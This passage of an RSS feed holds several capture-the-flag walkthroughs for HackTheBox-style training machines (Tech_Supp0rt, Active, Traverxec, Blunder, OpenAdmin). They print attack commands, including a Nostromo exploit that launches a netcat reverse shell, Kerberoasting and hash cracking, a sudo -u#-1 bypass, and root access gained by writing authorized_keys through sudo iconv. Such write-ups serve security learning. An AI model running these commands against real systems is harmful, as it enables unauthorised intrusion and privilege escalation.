/></figure><p>On looking into the /home directory we find the dir for the user scamsite.</p><p>Let us try to use the same password we found on the config file for scamsite.</p><pre>su scamsite</pre><p>OR the wiser option is to login with ssh for a better shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Gm324U4qD8Sel0A0Ecogg.png" /></figure><p>Let us see if the user has been given any sudo privileges.</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R7UKPhvrQ7vwwTlowIhtXg.png" /></figure><p>The user can run the binary iconv as sudo. Let us look at the GTFO Bins page for the exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pyDPV0M9aFbpG-S8M1rJuA.png" /></figure><p>With this binary we can only read and write file with sudo. You can try reading the root’s id_rsa key but that won’t work because that is disabled. So we must try to PrivEsc using the write privileges. We have many options here.</p><p>We can write…</p><ol><li>the authorised_keys file in the root’s .ssh directory with our id_rsa.pub key(This may not work on machines that have root login disabled from ssh, this can be verfied from looking into /etc/ssh/sshd_config file. But it will work in this machine as it it enabled)</li><li>the /etc/passwd file(replace the x in the file for root with a password we generated)</li><li>the /etc/cronjob file(add a task which sends nc shell to another port which is run by root)</li></ol><p>Options 2 and 3 are longer compared to one, so in this writeup we will priv esc using method 1.</p><p>Copy your id_rsa.pub file from [user dir]/.ssh/id_rsa.pub. If you don’t have it run ssh-keygen. Follow the instructions in the GTFO Bins manual.</p><p>If your public key(id_rsa.pub) is on a remote machine’s authorised_keys file, then you can login to their account with ssh without a password.</p><pre>LFILE=/root/.ssh/authorized_keys<br>echo &quot;[your key]&quot; | sudo iconv -f 8859_1 -t 8859_1 -o &quot;$LFILE&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XOHJh8iq_wrrmkq-tsXFkA.png" /></figure><p>I printed out my public key in the bottom left pane. Ran the priv esc commands in the top pane and logged in as root from ssh without a password.</p><h3><strong>PWNED!</strong></h3><p>I hope you enjoyed this writeup and found this helpful, most importantly enjoyed pwning the machine and learnt something in the process.</p><p>Feel free to publish a writeup and share your knowledge and tactics with the world.</p><p>Also educate your family about these scams so they don’t become victims here.</p><p>Tech_Supp0rt:1 pwned!, Tech_supp0rt:2 coming soon!</p><h3><strong>THE SCAMMERS WILL BE BACK</strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16486c93205e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active: Medium(but very very easy)]]></title>
            <link>https://vikaran101.medium.com/active-medium-but-very-very-easy-3a3f0b395fa1?source=rss-6c97b9ab5132------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a3f0b395fa1</guid>
            <category><![CDATA[beginner]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Vikaran]]></dc:creator>
            <pubDate>Sun, 02 May 2021 07:56:48 GMT</pubDate>
            <atom:updated>2021-05-02T07:56:48.349Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JxChH_0AyzMVgyRzv14JpQ.png" /></figure><p><strong>Recon</strong></p><p>The first step is to simply check for all open ports. For scanning all ports quickly I prefer rustscan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPgwdwCFXJJn-cT1SzkB1A.png" /></figure><pre>rustscan -a [target IP] -u 5000 -- -sC -sV</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bWo_MhQh5NBkl1EkOboFjw.png" /></figure><p>The main details the scan give us is…</p><ol><li>Kerberos, RPC and SMB services are running on the device</li><li>The domain controller’s name is ‘active.htb’</li></ol><p>Make sure to add that to your /etc/hosts file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*YtMjEvw0jlAafBidD-2MsA.png" /></figure><p><strong>Enumeration</strong></p><p>First we start by enumerating RPC, as we don’t have any creds we use the command…</p><pre>rpcclient -U &quot;&quot; -H [IP]</pre><p>But we get nothing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*llWhMBa0Pax_VAoTyc2rYA.png" /></figure><p>Now we try out luck in SMB</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*NED08VxIDSHVbuKTZ5TS-w.png" /></figure><pre>smbmap -H [IP]</pre><p>We see that we have ‘read only’ access to a share named ‘Replication’</p><p>After some painfull enumeration, we find a groups.xml file</p><pre>smbclient \\\\[ip]\\Replication</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fdVdxiOKs24cJ6B3T44tYw.png" /></figure><p>Lets download the file and examine it’s contents</p><pre>mget groups.xml</pre><p>On doing some more research on this file, I come accross this webpage…</p><p><a href="https://adsecurity.org/?p=2288">Finding Passwords in SYSVOL &amp; Exploiting Group Policy Preferences</a></p><p>We learn that we can decrypt the password of user SVC_TGS in the file using the gpp-decrypt tool in Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xk7B9ranAvfi6H_LGyUBlg.png" /></figure><pre>gpp-decrypt [Encrypted Password]</pre><p><strong>Exploitation</strong></p><p>Even with these creds, we are unable to get a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0gtHpFEwZ1ngb9ulgJxFhg.png" /></figure><p>But with these creds we can check for kerberoastable users using SecureAuthCorp’s Impacket toolkit.</p><pre>GetUsersSPN.py -dc-ip [ip] active.htb/svc_tgs -request</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tlfnHBhUE6uwCBLj6amtkw.png" /></figure><p>We now get the Administrator’s hash, let’s crack it with Hashcat. Looking at the format we get to know that the mode to set in hashcat to crack it is 13100.</p><pre>Hashmat -m 13100 hash.txt /usr/share/wordlist/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cObCXr6sutHlADr70Uv6hQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8VSveE-6efu6lona84p6Ww.png" /></figure><p>We now get the Adminsitrator account’s password. Let’s now try to get shell access.</p><p>For some reason we can’t get the shell with evil-winrm but we do get it with psexec</p><pre>psexec.py active.htb/administrator:[pass]@[ip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mzrXF8Y-xzBdjrqp9hO9zg.png" /></figure><p>We are now Admin!</p><p>The enumeration in this box was a pain for me, but I learnt a lot from it. Hope you enjoyed this writeup.</p><p><a href="https://www.hackthebox.eu/home/users/profile/271362">https://www.hackthebox.eu/home/users/profile/271362</a></p><p>(if you enjoyed, feel free to hit the respect button, please…, it helps boost my confidence and motivates me to publish more write-ups).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a3f0b395fa1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Traverxec HTB]]></title>
            <link>https://vikaran101.medium.com/traverxec-htb-9d37daa1cdc3?source=rss-6c97b9ab5132------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d37daa1cdc3</guid>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[nostromo]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Vikaran]]></dc:creator>
            <pubDate>Thu, 14 Jan 2021 05:54:31 GMT</pubDate>
            <atom:updated>2021-01-14T05:54:31.245Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OLd2-PbKLl7BrQDy_3UExw.png" /></figure><p>This is a just linux server which is hosting a few websites, which we will exploit with the help of a CVE, a config file, ssh keys and a weak sudo rule.</p><p><strong>Recon</strong></p><p>The first step is to identify all the running services. For this I will use Rustscan as it is very fast.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fImsYjtbrT8eu86hRxRXHw.png" /></figure><pre>rustscan -a 10.10.10.165 -- -sC -sV</pre><p>You can also use Nmap</p><pre>nmap -sC -sV 10.10.10.165</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CUK1KrCsp2gvcQHH1lDrDA.png" /></figure><p>As we can see ports 22-ssh and 80-http are open. On observing closely we notice that instead of seeing a service like Apache(which we are used to seeing on port 80) we find a service running called Nostromo.</p><p><strong>Exploitation</strong></p><p>On looking for exploits for Nostromo we find something special…</p><pre>searchsploit nostromo 1.9.6</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ZeUhNXO_IY_uBcnL8bbNw.png" /></figure><p>Jackpot! We find a direct RCE. And if you are wondering what is on the website, its nothing special, just this web page…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lrNclKsuTd1hMa9xZh-BXQ.png" /></figure><p>Now let us use the exploit.</p><p>The usage is quite simple.</p><pre>python 47837.py (target ip) (port) (cmd)</pre><pre>python 47837.py 10.10.10.165 80 id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S2MbbFXo9LPsNzUciLW_TA.png" /></figure><p>The exploit will execute any command we put in the command parameter in the target machine and show us the output.</p><p>To get a reverse shell we need to put a command that will give us the reverse shell in the cmd parameter, which you can find from(<a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a>).</p><pre>python 47837.py 10.10.10.165 80 &#39;nc (your machine ip) (nc listen port) -e /bin/sh&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LH6hHoV2ufFcAQZhQB49Qg.png" /></figure><p>Now we have a shell!</p><p>On enumerating I find a sensitive file in ‘<em>/var/nostromo/conf’ called nhttpd.conf</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-8XmEbCIgtBbWy4vHP9qDg.png" /></figure><p>This file tells us 2 things. 1)Gives us a password for the user David, which turns out to be useless as you can’t login as david with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4eH0zrlc-pig1jDMf3a2UA.png" /></figure><p>2)It also tells us about a directory called ‘public_www’ somewhere in /home, I guess it might be in /home/david.</p><p>Let us try enterning into /home/David/public_www, and we get in! It contains a folder called ‘protected-file-area’ and has a file called ‘backup-ssh-identity-files.tgz’.</p><p>On extracting the .tgz file, we get…</p><pre><strong>home/david/.ssh/<br>home/david/.ssh/authorized_keys<br>home/david/.ssh/id_rsa<br>home/david/.ssh/id_rsa.pub</strong></pre><p>We find an id_rsa that is encrypted. To decrypt it, let us first convert it to a format that can be cracked by a tool called JohnTheRipper.</p><pre>ssh2john.py id_rsa &gt; hash.txt<br>john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wUytMv75l6HZQhlxRdfgYg.png" /></figure><p>Now that you have the key for the id_rsa file, you can login using ssh.</p><pre>ssh -i id_rsa david@10.10.10.165</pre><p>On enumerating the folder bin in david’s home directory, we find a file called ‘sever-stats.sh’.</p><p>On looking at the file we see that it is a program that outupts Nostromo’s status.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*olvPaXumGGL18BwMHAPC7A.png" /></figure><p>From this we learn that the user david can run ‘journalctl’ as sudo. On running that last command in the file without piping the output to cat…</p><pre>/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service</pre><p>It thin uses another application called ‘less’ to show the output.</p><pre>Note:- If it doesn’t pipe the output in ‘less’ run the command &#39;stty rows 3&#39;</pre><p>Now its very easy, lets use the common priv esc methodology.</p><p>Once you are in less, just type…</p><pre>!bash</pre><p>and press enter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WDjF6kpp4bffcslUykSQpA.png" /></figure><p>And we are root!</p><p>The enumeration in this box was a pain for me, but I learnt a lot from it. Hope you enjoyed this writeup.</p><p><a href="https://www.hackthebox.eu/home/users/profile/271362">https://www.hackthebox.eu/home/users/profile/271362</a></p><p>(if you enjoyed, feel free to hit the respect button, please…, it helps boost my confidence and motivates me to publish more write-ups).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d37daa1cdc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blunder HTB]]></title>
            <link>https://vikaran101.medium.com/blunder-htb-c254b3f21d02?source=rss-6c97b9ab5132------2</link>
            <guid isPermaLink="false">https://medium.com/p/c254b3f21d02</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[bludit]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Vikaran]]></dc:creator>
            <pubDate>Mon, 28 Dec 2020 09:23:55 GMT</pubDate>
            <atom:updated>2020-12-28T09:23:55.835Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DD7dZ7hi6DsgRwiP935LBA.png" /></figure><p>Blunder from Hack The Box is an easy rated machine made by egotisticalSW which is another Linux box hosting a site with an outdated version of Bludit CMS.</p><p><strong>Recon</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M1S8xg2trummPwNx_tDFdQ.png" /></figure><p>The http service that is running on port 80 is the only one active.</p><p><strong>Enumeration</strong></p><p><em>port 80:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KRWtWEmSB4_8KAwbVDTcdA.png" /></figure><p>The main page has nothing special, it just displays a few facts. To learn more let us do a directory bruteforce.</p><pre>gobuster dir --url <a href="http://10.10.10.191/">http://10.10.10.191</a> -t 100 -w [wodlist file] -x php,txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uhbd6dwiB-0Db5Oq08Q5jw.png" /></figure><p>On examining <em>/install.php, </em>we find a simple message saying that the Bludit installation is already complete. The <em>/admin</em> directory shows us the Bludit login page which we do not have the credentials for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XiSASEBAEHrsKcfJ7drOaA.png" /></figure><p>But <em>/todo.txt</em>, give us some really interesting information.</p><p><strong>Exploitation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1PM9OGQLeeFpA6Te6MC8eA.png" /></figure><p>This page tells us that the server is running an outdated version of Bludit, and on of the users is named<em> ‘fergus’. </em>This give us the username. Since all the exploits for Bludit are authenticated and we couldn&#39;t find any other sensitive files that could give us the password, that leaves us with only 1 option…., <em>a brute force attack.</em></p><p>But on learning more about Bludit, we find that it is equipped with brute force prevention mechanisms, but luckily the mechanism has been explained(CVE-2019–17240, <a href="https://rastating.github.io/bludit-brute-force-mitigation-bypass/">https://rastating.github.io/bludit-brute-force-mitigation-bypass/</a>) and we can script our own brute force program or you can use the script in the link above.</p><p>Once you have the creds you can use them in the authenticated exploits(CVE-2019–16113), but I found a script that does both for you…(yay)</p><p><a href="https://github.com/Noroh4xy/CVE-2019-16113">Noroh4xy/CVE-2019-16113</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V8pqwKCoID89rc0ZQXgrNg.png" /><figcaption>bruteforcing…</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CUgIfaxGPBFhbYk1zAfJJg.png" /></figure><p>And you have a shell…</p><p>On enumeration, we find a sensitive file:- <em>/var/www/bludit-3.10.0a/bl-content/databases/users.php </em>which contains creds for the user hugo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gz9lo0nq36zhUAUyx3qOjw.png" /></figure><p>The password is hashed, so to get the plain text format you can use tools such as <em>JohnTheRipper or Hashcat</em>, but I am going to use <em>crackstation.net, </em>which gives the output as :- P*********0.</p><p>Then use the passowd to login as hugo…</p><pre>su hugo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JzJH-jlWp8ZQnOMU5n1vdQ.png" /></figure><p>To escalate our privileges, I’m simply going to run a command to see what commands ‘hugo’ can execute as sudo.</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YxRoFZ5M9Am3Vk88C4Za1w.png" /></figure><p>If you are familiar with this type of exploitation, then you will realise that something is wrong with the output(or it is not what you were expecting).</p><p>The output usually would look like this…</p><pre>(ALL, ALL) /bin/bash</pre><p>Because I did not understand it either, I simply googled the output, which led me to this page…</p><p><a href="https://www.exploit-db.com/exploits/47502">OffSec&#39;s Exploit Database Archive</a></p><p>After reading the exploit, we learn that ‘hugo’ can run /bin/bash as any user other than root. But you can simply bypass this by using the command like this…</p><pre>sudo -u#-1 /bin/bash </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ys90GgyOM5RhTd1Ijy5nxg.png" /></figure><p>And we are root!</p><p>Hope you enjoyed this writeup.</p><p><a href="https://www.hackthebox.eu/home/users/profile/271362">https://www.hackthebox.eu/home/users/profile/271362</a></p><p>(if you enjoyed, feel free to hit the respect button, please…).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c254b3f21d02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OpenAdmin HTB]]></title>
            <link>https://vikaran101.medium.com/openadmin-htb-a42d9b2e09ce?source=rss-6c97b9ab5132------2</link>
            <guid isPermaLink="false">https://medium.com/p/a42d9b2e09ce</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[openadmin]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <dc:creator><![CDATA[Vikaran]]></dc:creator>
            <pubDate>Sat, 26 Dec 2020 05:01:35 GMT</pubDate>
            <atom:updated>2020-12-27T11:56:55.178Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RjdyZbLhaucKwN3Wya7WNA.png" /><figcaption>Info</figcaption></figure><p>This is a just linux server which is hosting a few websites, which we will exploit with the help of a CVE, a config file and a hidden website on thee same server.</p><p><strong>Recon</strong></p><p>Let us start with a port scan to identify the running services. I use personally use RustScan.</p><pre>rustscan -a 10.10.10.171 -- -sC -sV</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gQ2Nz_dlTtCo6ePBn9h4MA.png" /><figcaption>rustscan</figcaption></figure><p>Or if you wish to use Nmap…</p><pre>nmap -sC -sV 10.10.10.171</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*11CVri2r7HcF8ST4rWYfuQ.png" /><figcaption>nmap scan</figcaption></figure><p>As we can see, port 22(ssh) and port 80(http) are open.</p><p><strong>Enumeration: Port 80</strong></p><p>On enumerating port 80, we see the default apache webpage(nothing interesting…).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fcg23RIitxjocu0fHJWSNw.png" /><figcaption>apache</figcaption></figure><p>But on doing a directory brute force…</p><pre>python3 dirsearch.py -u <a href="http://10.10.10.171/">http://10.10.10.171</a> -E -x 400,500 -r 1 -t 100 -w /usr/share/wordlists/dirb/common.txt</pre><p>we see some interesting results…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4aytCJ1jmw7tMKtprMKqtA.png" /><figcaption>Dirb results</figcaption></figure><p>We find 3 directories /music, /artwork, /sierra…</p><p><a href="http://10.10.10.171/artowrk">http://10.10.10.171/</a>sierra …(nothing useful, same thing with /artwork)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rAGQwCWGGQ8M1C9G1Gqr8A.png" /></figure><p>But the login button in <a href="http://10.10.10.171/music">http://10.10.10.171/music</a> leads us to a special directory…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A_NvUhVuQe9LdqH0YhjeIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a9OhKcyCGt09a6scG2-uLw.png" /><figcaption>http://10.10.10.171/ona</figcaption></figure><p>As we can see, the alert tells us that we are using an outdated version of ona or OpenNetAdmin. Now we just need to search for exploits for this version.</p><p>SearchSploit gives us a good answer</p><pre>searchsploit opennetadmin 18.1.1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vQe5D4I9H9drg_Bw1EdmRg.png" /></figure><p>You can use metasploit for it to be easy, but for the sake of the witeup I will use not use msf.</p><p><strong>Exploitation</strong></p><p>ExploitDB’s exploit didn’t work for me for some reason…</p><p><a href="https://www.exploit-db.com/exploits/47691">OffSec&#39;s Exploit Database Archive</a></p><p>But luckily I found a python program for this in GitHub…</p><p><a href="https://github.com/amriunix/ona-rce">GitHub - amriunix/ona-rce: OpenNetAdmin 18.1.1 - Remote Code Execution</a></p><p>So I used this exploit and got a shell</p><pre>python3 ona_rce.py exploit http://10.10.10.171/ona</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t0K6oaTa5JUXJ6aDjszAVQ.png" /></figure><p>This shell was not very interactive, so I decided to use NetCat instead.</p><p>After enumerating a little, I find a juicy file called <em>database_settings.inc.php</em> in <em>/opt/ona/www/local/config</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1mYoQsXCu9SbcThCz5xF9g.png" /></figure><p>We find a few credentials, this doesnt help us with mysql</p><pre>mysql -uona_sys -p</pre><p>we find the creds for the OpenAdmin menu in the /ona directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZK0A9w-jiNPSjZ7xD5yHFQ.png" /></figure><p>but those creds can be used to login as the user Jimmy</p><pre>su jimmy</pre><p>or…</p><pre>ssh jimmy@10.10.10.171</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I82trQYHmIBYgQeE7ZCifg.png" /></figure><p>On more enumeration, we find the the directory /var/www/internal is only readable by Jimmy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m4XPFoNl5KKUS3KrybZQAA.png" /></figure><p>We see that it has 3 files, index.php, main.php and logout.php</p><p><em>index.php :</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gVUAG6hvVxDJtZa4Fs_GWg.png" /></figure><p>it looks like a login form and we also notice the hardcoded username and password hash(crackstation.net)…</p><p>jimmy:R******d</p><p><em>main.php:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f8KMo3Q4G6OMYQAJXGPutg.png" /></figure><p>we see that the php code shows us the output of Joanna’s ssh keys which we can use to login as her.</p><p>But which port is this site running on?</p><p>As the name suggests, it must be an internal service…</p><p>To find these services we can run…</p><pre>ss -lntp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j1vOkAh3oeZzAP8ddj0Zww.png" /></figure><p>we find an this service running internally on port 52846</p><p>To access this we need to use ssh tunnelling</p><pre>ssh -L [port]:localhost:[port] &lt;username&gt;@&lt;ip&gt;</pre><pre>ssh -L 52846:localhost:localhost jimmy@10.10.10.171</pre><p>Then on going to <a href="http://localhost:52846/">http://localhost:52846</a> …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XcBGQkeILHFWXOxBh86IXA.png" /></figure><p>we find this site and we already found the password before in the source code for index.php.</p><p>After logging in, we get the id_rsa file for Joanna</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sP6GLo8kmhsPI0IK8VaRJA.png" /></figure><p>Now lets covert this into a hash file john can decrypt with the help of ssh2john.py file.</p><pre>ssh2john.py id_rsa_that_you_copied_after_login</pre><p>Once the conversion is done, we can now find the password for the id_rsa file with JohnTheRipper</p><pre>John --wordlist=/usr/share/wordlists/rockyou.txt id_rsa</pre><p>After letting it run we get the passphrase as b*********s.</p><p>And then we successfully login as Joanna</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QHTgETGmLckTypb3tK8VxA.png" /></figure><p>Let us find what commands Joanna is able to run as sudo</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*evdJANqPJRH30hyxdvangA.png" /></figure><p>We find that the user can run nano(the text editor) and a file /opt/priv as root.</p><p>On examining/opt/priv, we find that it is an empty file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*zDm72IWDFmSJVJYavIQYZA.png" /></figure><p>But we can still open it with nano</p><pre>sudo nano /opt/priv</pre><p>We can then follow the instructions on <a href="https://gtfobins.github.io/gtfobins/nano/#shell">https://gtfobins.github.io/gtfobins/nano/#shell</a> to escalate our privileges to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yHvrHZMlrz7xF5uL-0udvA.png" /></figure><p>And there you have it…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6DRryzPJzr4VbHB52YQhkw.png" /></figure><p>We just rooted the OpenAdmin box.</p><p>The enumeration in this box was a pain for me, but I learnt a lot from it. Hope you enjoyed this writeup.</p><p><a href="https://www.hackthebox.eu/home/users/profile/271362">https://www.hackthebox.eu/home/users/profile/271362</a></p><p>(if you enjoyed, feel free to hit the respect button, please…).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a42d9b2e09ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>